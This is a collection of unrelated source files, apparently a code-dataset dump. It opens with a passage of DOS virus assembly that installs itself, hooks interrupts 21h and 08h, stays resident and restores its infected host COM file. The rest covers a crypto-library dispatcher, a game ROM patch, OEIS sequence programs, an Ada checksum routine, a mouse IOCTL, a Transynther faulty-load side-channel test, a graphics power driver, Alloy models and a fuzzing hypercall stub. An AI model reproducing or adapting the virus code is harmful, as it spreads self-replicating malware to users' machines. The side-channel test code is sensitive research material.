mov byte ptr [Character_Count],ah
mov byte ptr [Ports_Initialized],ah
Ret_Write_Ports:
ret
;****************************************************************************
; Virus Entry Point
;****************************************************************************
Virus_Entry:
mov ah,0e0
int 21 ;Check for Installation
cmp ax,0dada ;Was it installed?
jne Install_Virus ;No? Then install it.
jmp Already_Installed ;Yes? Go to Already_Installed
Install_Virus:
push cs
pop ds
mov ax,3521 ;Get Int 21 Address
int 21
mov word ptr [Int_21_Off],bx ;Save old Int 21
mov word ptr [Int_21_Seg],es ;Vector
mov dx,offset Int_21
mov ax,2521
int 21 ;Set Int 21
mov ax,3508
int 21 ;Get Int 8 Address
mov word ptr [Int_08_Off],bx
mov word ptr [Int_08_Seg],es ;Save old Vectors
mov dx,offset Int_08
mov ax,2508
int 21 ;Set Int 08
mov ah,2C
int 21 ;Get Time
mov byte ptr [save_time_a],ch
mov byte ptr [save_time_b],cl ;Save Time and Date
mov byte ptr [save_date],dh
mov ax,cs:[2c] ;Get environment block
mov ds,ax ;address and put it in DS
xor si,si ;DS:SI=beginning of Env. B.
Find_The_Filename:
mov al,[si] ;Search through environment
cmp al,1 ;block for program executed.
je Found_Filename
inc si
jmp short Find_The_Filename
Found_Filename:
inc si
inc si
mov dx,si ;DS:DX = Filename
mov ax,cs
mov es,ax ;Set segment (ES) = CS
mov bx,5a ;Request 5a0h (1440 dec) bytes
mov ah,4a
int 21 ;Change Allocated Memory
mov bx,word ptr cs:[81] ;Beginning of Command Line
mov ax,cs
mov es,ax ;set ES=CS again.
mov word ptr cs:[cs_save_1],ax
mov word ptr cs:[cs_save_2],ax ;Re-Execute program
mov word ptr cs:[cs_save_3],ax ;To make Int 27 cause
mov ax,4B00 ;program to go mem-res
mov word ptr cs:[save_ss],ss ;without terminating
mov word ptr cs:[save_sp],sp ;regular program.
pushf
;call far cs:[Int_21_Off] ;Call Load and Execute
db 2e,0ff,1e,22,01
mov ax,word ptr cs:[save_ss]
mov ss,ax
mov ax,word ptr cs:[save_sp] ;Restore Stack
mov sp,ax
mov ax,cs
mov ds,ax
mov dx,537 ;DX=End of virus
int 27 ;Terminate & stay resident
Already_Installed:
mov ah,0E1 ;Get CS of virus in memory
int 21
mov si,offset Install_Jump
mov cs:[si+3],ax ;Setup Jump
mov ax,offset After_Jump
mov cs:[si+1],ax
mov ax,word ptr cs:[file_size]
mov bx,cs
Install_Jump:
db 0ea
IP_For_Jump db 0,0
CS_For_Jump db 0,0
After_Jump:
mov cx,ax
mov ds,bx
mov si,100
mov di,offset storage_bytes
Restore_File: ;Restore File in memory
mov al,[di]
mov [si],al
inc si
inc di
loop Restore_File
mov si,offset return_jump
mov cs:[si+3],ds ;set host segment
mov al,byte ptr ds:[100] ;Get first byte of host,
sub al,0bh ;then unencrypt first byte
mov byte ptr ds:[100],al ;of Storage_Bytes
mov ax,ds ;and restore it
mov es,ax ;restore ES and SS to point
mov ss,ax ;to DS/CS
;* jmp far ptr start ;Return control to COM file
return_jump:
db 0ea
host_offset db 00,01
host_segment db 07,13
Text_Message db 'Support Your Police'
end_main_virus:
Storage_Bytes db 0D8,20 ;First Byte Encrypted
end_of_vir:
word_space db 8 dup (?)
new_DTA :
end start
|
_build/dispatcher/jmp_ippsGFpECTstPointInSubgroup_409d9f9b.asm | zyktrcn/ippcp | 1 | 81191 | extern m7_ippsGFpECTstPointInSubgroup:function
extern n8_ippsGFpECTstPointInSubgroup:function
extern y8_ippsGFpECTstPointInSubgroup:function
extern e9_ippsGFpECTstPointInSubgroup:function
extern l9_ippsGFpECTstPointInSubgroup:function
extern n0_ippsGFpECTstPointInSubgroup:function
extern k0_ippsGFpECTstPointInSubgroup:function
extern ippcpJumpIndexForMergedLibs
extern ippcpSafeInit:function
segment .data
align 8
dq .Lin_ippsGFpECTstPointInSubgroup
.Larraddr_ippsGFpECTstPointInSubgroup:
dq m7_ippsGFpECTstPointInSubgroup
dq n8_ippsGFpECTstPointInSubgroup
dq y8_ippsGFpECTstPointInSubgroup
dq e9_ippsGFpECTstPointInSubgroup
dq l9_ippsGFpECTstPointInSubgroup
dq n0_ippsGFpECTstPointInSubgroup
dq k0_ippsGFpECTstPointInSubgroup
segment .text
global ippsGFpECTstPointInSubgroup:function (ippsGFpECTstPointInSubgroup.LEndippsGFpECTstPointInSubgroup - ippsGFpECTstPointInSubgroup)
.Lin_ippsGFpECTstPointInSubgroup:
db 0xf3, 0x0f, 0x1e, 0xfa
call ippcpSafeInit wrt ..plt
align 16
ippsGFpECTstPointInSubgroup:
db 0xf3, 0x0f, 0x1e, 0xfa
mov rax, qword [rel ippcpJumpIndexForMergedLibs wrt ..gotpc]
movsxd rax, dword [rax]
lea r11, [rel .Larraddr_ippsGFpECTstPointInSubgroup]
mov r11, qword [r11+rax*8]
jmp r11
.LEndippsGFpECTstPointInSubgroup:
|
romhacks/smrotation/main.asm | strotlog/SMBasepatch | 0 | 161224 | lorom
macro a8()
sep #$20
endmacro
macro a16()
rep #$20
endmacro
macro i8()
rep #$10
endmacro
macro ai8()
sep #$30
endmacro
macro ai16()
rep #$30
endmacro
macro i16()
rep #$10
endmacro
org $00ffc0
; 0 f01234
db " SM RANDOMIZER "
db $30, $02, $0C, $04, $00, $01, $00, $20, $07, $DF, $F8
org $808000 ; Disable copy protection screen
db $ff
; Config flags
incsrc ../../common/config.asm
; Super Metroid custom Samus sprite "engine" by Artheau
;incsrc "sprite/sprite.asm"
; These patches include their own origins and patch locations
incsrc ../../common/nofanfare.asm
; Start anywhere patch, not used right now until graph based generation is in.
; incsrc startanywhere.asm
; Add code to the main code bank
org $e28000
incsrc ../../common/randolive.asm
incsrc ../../common/multiworld.asm
incsrc ../../common/items.asm
;incompatible with sm: rotation:
;org $b8cf00
;incsrc seeddata.asm
org $e2d000
incsrc ../../common/playertable.asm
org $e2e000
incsrc ../../common/itemtable.asm
|
programs/oeis/282/A282211.asm | jmorken/loda | 1 | 1493 | <reponame>jmorken/loda
; A282211: Coefficients in q-expansion of (6*E_2^2*E_4 - 8*E_2*E_6 + 3*E_4^2 - E_2^4)/6912, where E_2, E_4, E_6 are the Eisenstein series shown in A006352, A004009, A013973, respectively.
; 0,1,24,108,448,750,2592,2744,7680,9477,18000,15972,48384,30758,65856,81000,126976,88434,227448,137180,336000,296352,383328,292008,829440,484375,738192,787320,1229312,731670,1944000,953312,2064384,1724976,2122416,2058000,4245696,1924814,3292320,3321864,5760000,2894682,7112448,3498308,7155456,7107750,7008192,4983504,13713408,6705993,11625000,9550872,13779584,8039358,18895680,11979000,21073920,14815440,17560080,12322740,36288000,14072822,22879488,26004888,33292288,23068500,41399424,20451884,39618432,31536864,49392000,25769592,72783360,28787258,46195536,52312500,61456640,43827168,79724736,39443120,95232000,64304361,69472368,48030108,132765696,66325500,83959392,79020360,122664960,63447210,170586000,84399952,130819584,102957696,119604096,102885000,222953472,89441954,160943832,151366644,217000000,105090702,229220928,113643608,236221440,222264000,192944592,132304644,352719360,142453190,287496000,207879912,348422144,164490258,355570560,219006000,327788160,291493566,295745760,242662896,622080000,235617613,337747728,312625656,427083776,304687500,624117312,262193024,534773760,377817264,553644000,296748012,772789248,376421920,490845216,590490000,679173120,354846714,756884736,375986660,921984000,538218432,618470208,491266776,1203351552,548752500,690894192,724247244,862316672,496192350,1255500000,523328552,1053542400,838089018,1051852032,714984000,1488195072,611443094,946634880,868250664,1548288000,801269952,1543304664,710242508,1296817536,1293732000,1152722592,782453784,2275983360,883306047,1591812000,1300054860,1567241984,900922758,1896488640,1329125000,2028060672,1330855920,1522733040,1032361020,3184272000,1079212862,2025598848,1519864776,2242621440,1443610500,2470984704,1412467848,2232609792,2160406080,2469240000,1337831232,3595567104,1394677058,2146606896,2491398000,3004284864,1513783854,3632799456,1576119800,3720000000,2208803472,2522176848,2007702480,4278790656,2171011500,2727446592,2767359816,3905527808,2191038960,5334336000,1991513372,3601632384,2783115936,3175311456,2623731000,6046617600,2615888128,3418876560,3109023864,5366592000,2720052972,4989117888,2484063008,5664669696,4590421875,3947766192,2666934924,6637317120,2762067470,5256144000,4733334144,5619225600,2959944858,6995845584,3737628000,5520587520,4259856960,5823909504,3276460560,10285056000,3387400082,5654822712,5223002148,6304624256,5029494750,7503015744,4219382440,7321436160,5187251664
mov $2,$0
mul $0,2
cal $2,282097 ; Coefficients in q-expansion of (3*E_2*E_4 - 2*E_6 - E_2^3)/1728, where E_2, E_4, E_6 are the Eisenstein series shown in A006352, A004009, A013973, respectively.
mul $0,$2
mov $1,$0
div $1,2
|
Task/SEDOLs/Ada/sedols.ada | LaudateCorpus1/RosettaCodeData | 1 | 18247 | with Ada.Text_IO; use Ada.Text_IO;
procedure Test_SEDOL is
subtype SEDOL_String is String (1..6);
type SEDOL_Sum is range 0..9;
function Check (SEDOL : SEDOL_String) return SEDOL_Sum is
Weight : constant array (SEDOL_String'Range) of Integer := (1,3,1,7,3,9);
Sum : Integer := 0;
Item : Integer;
begin
for Index in SEDOL'Range loop
Item := Character'Pos (SEDOL (Index));
case Item is
when Character'Pos ('0')..Character'Pos ('9') =>
Item := Item - Character'Pos ('0');
when Character'Pos ('B')..Character'Pos ('D') |
Character'Pos ('F')..Character'Pos ('H') |
Character'Pos ('J')..Character'Pos ('N') |
Character'Pos ('P')..Character'Pos ('T') |
Character'Pos ('V')..Character'Pos ('Z') =>
Item := Item - Character'Pos ('A') + 10;
when others =>
raise Constraint_Error;
end case;
Sum := Sum + Item * Weight (Index);
end loop;
return SEDOL_Sum ((-Sum) mod 10);
end Check;
Test : constant array (1..10) of SEDOL_String :=
( "710889", "B0YBKJ", "406566", "B0YBLH", "228276",
"B0YBKL", "557910", "B0YBKR", "585284", "B0YBKT"
);
begin
for Index in Test'Range loop
Put_Line (Test (Index) & Character'Val (Character'Pos ('0') + Check (Test (Index))));
end loop;
end Test_SEDOL;
|
programs/oeis/156/A156573.asm | neoneye/loda | 22 | 175000 | <reponame>neoneye/loda
; A156573: a(n) = 34*a(n-1)-a(n-2)-4232 for n > 2; a(1)=529, a(2)=13225.
; 529,13225,444889,15108769,513249025,17435353849,592288777609,20120383080625,683500735959409,23218904639535049,788759257008228025,26794595833640213569,910227499086759029089,30920940373116166771225
seq $0,2315 ; NSW numbers: a(n) = 6*a(n-1) - a(n-2); also a(n)^2 - 2*b(n)^2 = -1 with b(n)=A001653(n+1).
pow $0,2
div $0,48
mul $0,12696
add $0,529
|
programs/oeis/295/A295926.asm | neoneye/loda | 22 | 90673 | ; A295926: Number of (not necessarily maximum) cliques in the n-cube-connected cycle graph.
; 69,161,401,961,2241,5121,11521,25601,56321,122881,266241,573441,1228801,2621441,5570561,11796481,24903681,52428801,110100481,230686721,482344961,1006632961,2097152001,4362076161,9059696641,18790481921,38923141121,80530636801,166429982721
mov $1,$0
add $1,3
mov $2,$0
trn $0,1
add $0,3
add $2,11
lpb $1
sub $1,1
trn $2,4
add $2,$0
add $0,1
add $0,$2
add $0,$1
mov $2,1
lpe
|
lab1/assignment_1.asm | 0000Blaze/Microprocess | 0 | 82660 | <reponame>0000Blaze/Microprocess
# ORG 8000
MVI A,1A
MVI B,2B
MVI C,3C
MVI D,4D
MVI E,5E
MVI H,6F
MVI L,7A
HLT
|
firmware/coreboot/3rdparty/libgfxinit/common/haswell_shared/hw-gfx-gma-power_and_clocks_haswell.adb | fabiojna02/OpenCellular | 1 | 161 | --
-- Copyright (C) 2014-2018 secunet Security Networks AG
--
-- This program is free software; you can redistribute it and/or modify
-- it under the terms of the GNU General Public License as published by
-- the Free Software Foundation; either version 2 of the License, or
-- (at your option) any later version.
--
-- This program is distributed in the hope that it will be useful,
-- but WITHOUT ANY WARRANTY; without even the implied warranty of
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-- GNU General Public License for more details.
--
with GNAT.Source_Info;
with HW.Time;
with HW.Debug;
with HW.GFX.GMA.Config;
with HW.GFX.GMA.Registers;
package body HW.GFX.GMA.Power_And_Clocks_Haswell is
PWR_WELL_CTL_ENABLE_REQUEST : constant := 1 * 2 ** 31;
PWR_WELL_CTL_DISABLE_REQUEST : constant := 0 * 2 ** 31;
PWR_WELL_CTL_STATE_ENABLED : constant := 1 * 2 ** 30;
----------------------------------------------------------------------------
SRD_CTL_ENABLE : constant := 1 * 2 ** 31;
SRD_STATUS_STATE_MASK : constant := 7 * 2 ** 29;
type Pipe is (EDP, A, B, C);
type SRD_Regs is record
CTL : Registers.Registers_Index;
STATUS : Registers.Registers_Index;
end record;
type SRD_Per_Pipe_Regs is array (Pipe) of SRD_Regs;
SRD : constant SRD_Per_Pipe_Regs := SRD_Per_Pipe_Regs'
(A => SRD_Regs'
(CTL => Registers.SRD_CTL_A,
STATUS => Registers.SRD_STATUS_A),
B => SRD_Regs'
(CTL => Registers.SRD_CTL_B,
STATUS => Registers.SRD_STATUS_B),
C => SRD_Regs'
(CTL => Registers.SRD_CTL_C,
STATUS => Registers.SRD_STATUS_C),
EDP => SRD_Regs'
(CTL => Registers.SRD_CTL_EDP,
STATUS => Registers.SRD_STATUS_EDP));
----------------------------------------------------------------------------
IPS_CTL_ENABLE : constant := 1 * 2 ** 31;
DISPLAY_IPS_CONTROL : constant := 16#19#;
GT_MAILBOX_READY : constant := 1 * 2 ** 31;
----------------------------------------------------------------------------
procedure PSR_Off
is
Enabled : Boolean;
begin
pragma Debug (Debug.Put_Line (GNAT.Source_Info.Enclosing_Entity));
if Config.Has_Per_Pipe_SRD then
for P in Pipe loop
Registers.Is_Set_Mask (SRD (P).CTL, SRD_CTL_ENABLE, Enabled);
if Enabled then
Registers.Unset_Mask (SRD (P).CTL, SRD_CTL_ENABLE);
Registers.Wait_Unset_Mask (SRD (P).STATUS, SRD_STATUS_STATE_MASK);
pragma Debug (Debug.Put_Line ("Disabled PSR."));
end if;
end loop;
else
Registers.Is_Set_Mask (Registers.SRD_CTL, SRD_CTL_ENABLE, Enabled);
if Enabled then
Registers.Unset_Mask (Registers.SRD_CTL, SRD_CTL_ENABLE);
Registers.Wait_Unset_Mask (Registers.SRD_STATUS, SRD_STATUS_STATE_MASK);
pragma Debug (Debug.Put_Line ("Disabled PSR."));
end if;
end if;
end PSR_Off;
----------------------------------------------------------------------------
procedure GT_Mailbox_Write (MBox : Word32; Value : Word32) is
begin
pragma Debug (Debug.Put_Line (GNAT.Source_Info.Enclosing_Entity));
Registers.Wait_Unset_Mask (Registers.GT_MAILBOX, GT_MAILBOX_READY);
Registers.Write (Registers.GT_MAILBOX_DATA, Value);
Registers.Write (Registers.GT_MAILBOX, GT_MAILBOX_READY or MBox);
Registers.Wait_Unset_Mask (Registers.GT_MAILBOX, GT_MAILBOX_READY);
Registers.Write (Registers.GT_MAILBOX_DATA, 0);
end GT_Mailbox_Write;
procedure IPS_Off
is
Enabled : Boolean;
begin
pragma Debug (Debug.Put_Line (GNAT.Source_Info.Enclosing_Entity));
if Config.Has_IPS then
Registers.Is_Set_Mask (Registers.IPS_CTL, IPS_CTL_ENABLE, Enabled);
if Enabled then
if Config.Has_IPS_CTL_Mailbox then
GT_Mailbox_Write (DISPLAY_IPS_CONTROL, 0);
Registers.Wait_Unset_Mask
(Register => Registers.IPS_CTL,
Mask => IPS_CTL_ENABLE,
TOut_MS => 42);
else
Registers.Unset_Mask (Registers.IPS_CTL, IPS_CTL_ENABLE);
end if;
pragma Debug (Debug.Put_Line ("Disabled IPS."));
-- We have to wait until the next vblank here.
-- 20ms should be enough.
Time.M_Delay (20);
end if;
end if;
end IPS_Off;
----------------------------------------------------------------------------
procedure PDW_Off
is
Ctl1, Ctl2, Ctl3, Ctl4 : Word32;
begin
pragma Debug (Debug.Put_Line (GNAT.Source_Info.Enclosing_Entity));
Registers.Read (Registers.PWR_WELL_CTL_BIOS, Ctl1);
Registers.Read (Registers.PWR_WELL_CTL_DRIVER, Ctl2);
Registers.Read (Registers.PWR_WELL_CTL_KVMR, Ctl3);
Registers.Read (Registers.PWR_WELL_CTL_DEBUG, Ctl4);
pragma Debug (Registers.Posting_Read (Registers.PWR_WELL_CTL5)); -- Result for debugging only
pragma Debug (Registers.Posting_Read (Registers.PWR_WELL_CTL6)); -- Result for debugging only
if ((Ctl1 or Ctl2 or Ctl3 or Ctl4) and
PWR_WELL_CTL_ENABLE_REQUEST) /= 0
then
Registers.Wait_Set_Mask
(Registers.PWR_WELL_CTL_DRIVER, PWR_WELL_CTL_STATE_ENABLED);
end if;
if (Ctl1 and PWR_WELL_CTL_ENABLE_REQUEST) /= 0 then
Registers.Write (Registers.PWR_WELL_CTL_BIOS, PWR_WELL_CTL_DISABLE_REQUEST);
end if;
if (Ctl2 and PWR_WELL_CTL_ENABLE_REQUEST) /= 0 then
Registers.Write (Registers.PWR_WELL_CTL_DRIVER, PWR_WELL_CTL_DISABLE_REQUEST);
end if;
end PDW_Off;
procedure PDW_On
is
Ctl1, Ctl2, Ctl3, Ctl4 : Word32;
begin
pragma Debug (Debug.Put_Line (GNAT.Source_Info.Enclosing_Entity));
Registers.Read (Registers.PWR_WELL_CTL_BIOS, Ctl1);
Registers.Read (Registers.PWR_WELL_CTL_DRIVER, Ctl2);
Registers.Read (Registers.PWR_WELL_CTL_KVMR, Ctl3);
Registers.Read (Registers.PWR_WELL_CTL_DEBUG, Ctl4);
pragma Debug (Registers.Posting_Read (Registers.PWR_WELL_CTL5)); -- Result for debugging only
pragma Debug (Registers.Posting_Read (Registers.PWR_WELL_CTL6)); -- Result for debugging only
if ((Ctl1 or Ctl2 or Ctl3 or Ctl4) and
PWR_WELL_CTL_ENABLE_REQUEST) = 0
then
Registers.Wait_Unset_Mask
(Registers.PWR_WELL_CTL_DRIVER, PWR_WELL_CTL_STATE_ENABLED);
end if;
if (Ctl2 and PWR_WELL_CTL_ENABLE_REQUEST) = 0 then
Registers.Write (Registers.PWR_WELL_CTL_DRIVER, PWR_WELL_CTL_ENABLE_REQUEST);
Registers.Wait_Set_Mask
(Registers.PWR_WELL_CTL_DRIVER, PWR_WELL_CTL_STATE_ENABLED);
end if;
end PDW_On;
function Need_PDW (Checked_Configs : Pipe_Configs) return Boolean
is
Primary : Pipe_Config renames Checked_Configs (GMA.Primary);
begin
return
(Config.Use_PDW_For_EDP_Scaling and then
(Primary.Port = Internal and Requires_Scaling (Primary)))
or
(Primary.Port /= Disabled and Primary.Port /= Internal)
or
Checked_Configs (Secondary).Port /= Disabled
or
Checked_Configs (Tertiary).Port /= Disabled;
end Need_PDW;
----------------------------------------------------------------------------
procedure Pre_All_Off is
begin
-- HSW: disable panel self refresh (PSR) on eDP if enabled
-- wait for PSR idling
PSR_Off;
IPS_Off;
end Pre_All_Off;
procedure Initialize is
begin
-- HSW: disable power down well
PDW_Off;
Config.Raw_Clock := Config.Default_RawClk_Freq;
end Initialize;
procedure Power_Set_To (Configs : Pipe_Configs) is
begin
if Need_PDW (Configs) then
PDW_On;
else
PDW_Off;
end if;
end Power_Set_To;
procedure Power_Up (Old_Configs, New_Configs : Pipe_Configs) is
begin
if not Need_PDW (Old_Configs) and Need_PDW (New_Configs) then
PDW_On;
end if;
end Power_Up;
procedure Power_Down (Old_Configs, Tmp_Configs, New_Configs : Pipe_Configs)
is
begin
if (Need_PDW (Old_Configs) or Need_PDW (Tmp_Configs)) and
not Need_PDW (New_Configs)
then
PDW_Off;
end if;
end Power_Down;
end HW.GFX.GMA.Power_And_Clocks_Haswell;
|
alloy4fun_models/trashltl/models/4/EQWiY4NBDKBuZyJS7.als | Kaixi26/org.alloytools.alloy | 0 | 140 | <reponame>Kaixi26/org.alloytools.alloy
open main
pred idEQWiY4NBDKBuZyJS7_prop5 {
eventually ( some f:File | f' in Trash)
}
pred __repair { idEQWiY4NBDKBuZyJS7_prop5 }
check __repair { idEQWiY4NBDKBuZyJS7_prop5 <=> prop5o } |
ioctl/IomMarkCollisionArea.asm | osfree-project/FamilyAPI | 1 | 178224 | ;--------------------------------------------------------
; Category 7 Function 58 Mark collision area
;--------------------------------------------------------
;
;Purpose
;Category 7 -
;Function 58H
;Restricts the Mouse from Pointer Drawing in Specified Area(s) of the
;Screen
;Parameter Packet Format
;Fie Id
;Left Row Position
;Left Column Position
;Right Row Position
;Right Column Position
;Data Packet Format
;None
;Returns
;None
;Remarks
;Length
;WORD
;WORD
;WORD
;WORD
;This function requires one caller specified parameter. This parameter
;is an address pointing to a 8-byte structured buffer. This buffer
;defines the collision area that will be protected from being overwritten
;by system pointer draw operations.
;Values must be specified in either character or pixel values,
;depending on the current mode setting of the display.
;The data packet is a far pointer to an area in application storage
;where a collision area definition record will be read by the mouse
;device driver.
;If the entire screen is specified, this function disables pointer drawing
;for the session.
;
;-----------------------------------------------------------------------------
;
; AX = 0010h
; CX,DX = X,Y coordinates of upper left corner
; SI,DI = X,Y coordinates of lower right corner
;Note: mouse cursor is hidden in the specified region, and needs to be
; explicitly turned on again
;SeeAlso: AX=0001h,AX=0002h,AX=0007h,AX=0010h"Genius MOUSE",AX=0031h
IOMMARKCOLLISIONAREA PROC NEAR
MOV AX, ERROR_INVALID_PARAMETER
XOR BX, BX
CMP BX, WORD PTR [DS:BP].ARGS.DDATA
JNZ EXIT
CMP BX, WORD PTR [DS:BP].ARGS.DDATA+2
JNZ EXIT
LES BX, [DS:BP].ARGS.PARMLIST
MOV DX, [ES:BX]
MOV CX, [ES:BX+2]
MOV DI, [ES:BX+4]
MOV SI, [ES:BX+6]
MOV AX, 10H
INT 33H
XOR AX, AX
EXIT:
RET
IOMMARKCOLLISIONAREA ENDP
|
Transynther/x86/_processed/NC/_zr_/i7-7700_9_0xca_notsx.log_475_1766.asm | ljhsiun2/medusa | 9 | 98472 | <gh_stars>1-10
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r14
push %r8
push %r9
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x815d, %rsi
lea addresses_WC_ht+0x18a5d, %rdi
nop
nop
nop
nop
nop
and %r8, %r8
mov $100, %rcx
rep movsq
nop
nop
nop
lfence
lea addresses_WC_ht+0x808d, %r9
nop
and $17028, %rdi
mov $0x6162636465666768, %r11
movq %r11, %xmm5
movups %xmm5, (%r9)
nop
nop
nop
nop
dec %r8
lea addresses_A_ht+0x1d245, %rsi
lea addresses_normal_ht+0x4a5d, %rdi
inc %rax
mov $78, %rcx
rep movsb
xor $40584, %r8
lea addresses_D_ht+0x1de5d, %rsi
nop
nop
nop
nop
nop
xor %r11, %r11
mov $0x6162636465666768, %r9
movq %r9, %xmm6
and $0xffffffffffffffc0, %rsi
movntdq %xmm6, (%rsi)
nop
add %rcx, %rcx
lea addresses_WC_ht+0xf8dd, %rdi
nop
sub %rcx, %rcx
movl $0x61626364, (%rdi)
nop
cmp $27129, %r9
lea addresses_D_ht+0xcddd, %rsi
lea addresses_normal_ht+0x1d05d, %rdi
nop
nop
nop
nop
xor $10963, %r14
mov $117, %rcx
rep movsq
nop
nop
nop
cmp $16902, %r9
lea addresses_A_ht+0x1d51d, %r8
nop
add $56523, %rax
mov (%r8), %rsi
cmp %rax, %rax
lea addresses_normal_ht+0x16c5d, %rsi
lea addresses_UC_ht+0x193ad, %rdi
nop
nop
nop
nop
inc %r11
mov $107, %rcx
rep movsb
nop
nop
xor %rdi, %rdi
lea addresses_D_ht+0x1325d, %r14
nop
and $14958, %r8
movups (%r14), %xmm7
vpextrq $0, %xmm7, %r9
nop
nop
nop
cmp $20743, %r8
lea addresses_A_ht+0x1103d, %r9
nop
nop
nop
nop
cmp $58968, %rcx
mov $0x6162636465666768, %r14
movq %r14, %xmm6
vmovups %ymm6, (%r9)
xor $39680, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r8
pop %r14
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r13
push %r14
push %rax
push %rdi
push %rsi
// Load
lea addresses_WC+0xd25d, %rax
nop
nop
nop
xor %rdi, %rdi
movups (%rax), %xmm1
vpextrq $1, %xmm1, %r14
nop
xor %r13, %r13
// Faulty Load
mov $0x74be81000000025d, %r10
nop
nop
nop
sub $61609, %rsi
movb (%r10), %r14b
lea oracles, %rdi
and $0xff, %r14
shlq $12, %r14
mov (%rdi,%r14,1), %r14
pop %rsi
pop %rdi
pop %rax
pop %r14
pop %r13
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 8, 'same': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': True, 'type': 'addresses_NC'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 8, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 4, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 2, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'}
{'dst': {'NT': True, 'AVXalign': False, 'size': 16, 'congruent': 7, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 7, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 7, 'same': False, 'type': 'addresses_D_ht'}, 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'}
{'src': {'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 4, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 9, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 4, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'}
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 9, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 3, 'same': True, 'type': 'addresses_A_ht'}, 'OP': 'STOR'}
{'00': 475}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
drivers/CrashMonitoringDriver/CrashMonitoringDriver/hypercall.asm | SafeBreach-Labs/hAFL2 | 102 | 103725 | PUBLIC kAFL_Hypercall
.code _text
kAFL_Hypercall PROC PUBLIC
mov rax, 23h
mov rbx, rcx
mov rcx, rdx
vmcall
ret
kAFL_Hypercall ENDP
END |
oeis/250/A250120.asm | neoneye/loda-programs | 11 | 175194 | <gh_stars>10-100
; A250120: Coordination sequence for planar net 3.3.3.3.6 (also called the fsz net).
; Submitted by <NAME>
; 1,5,9,15,19,24,29,33,39,43,48,53,57,63,67,72,77,81,87,91,96,101,105,111,115,120,125,129,135,139,144,149,153,159,163,168,173,177,183,187,192,197,201,207,211,216,221,225,231,235,240,245,249,255,259,264,269,273,279,283,288,293,297,303,307,312,317,321,327,331,336,341,345,351,355,360,365,369,375,379,384,389,393,399,403,408,413,417,423,427,432,437,441,447,451,456,461,465,471,475
mov $3,$0
mul $3,4
lpb $0
mov $0,$3
mul $0,2
mov $1,$3
add $3,25
mov $2,$3
mod $2,10
add $0,$2
div $0,10
sub $0,1
lpe
add $0,$1
add $0,1
|
src/bswap32.asm | shines77/base64_fast | 0 | 17442 | <filename>src/bswap32.asm
page ,132
title ByteSwap32 (bswap32.asm)
;
; See: http://www.cppblog.com/luqingfei/archive/2010/08/11/123078.aspx
; See: https://msdn.microsoft.com/en-us/library/ss9fh0d6.aspx
;
ifndef X64
.586
;.686p
;.mmx
;.XMM
.model flat, C
option casemap : none
endif
.xlist
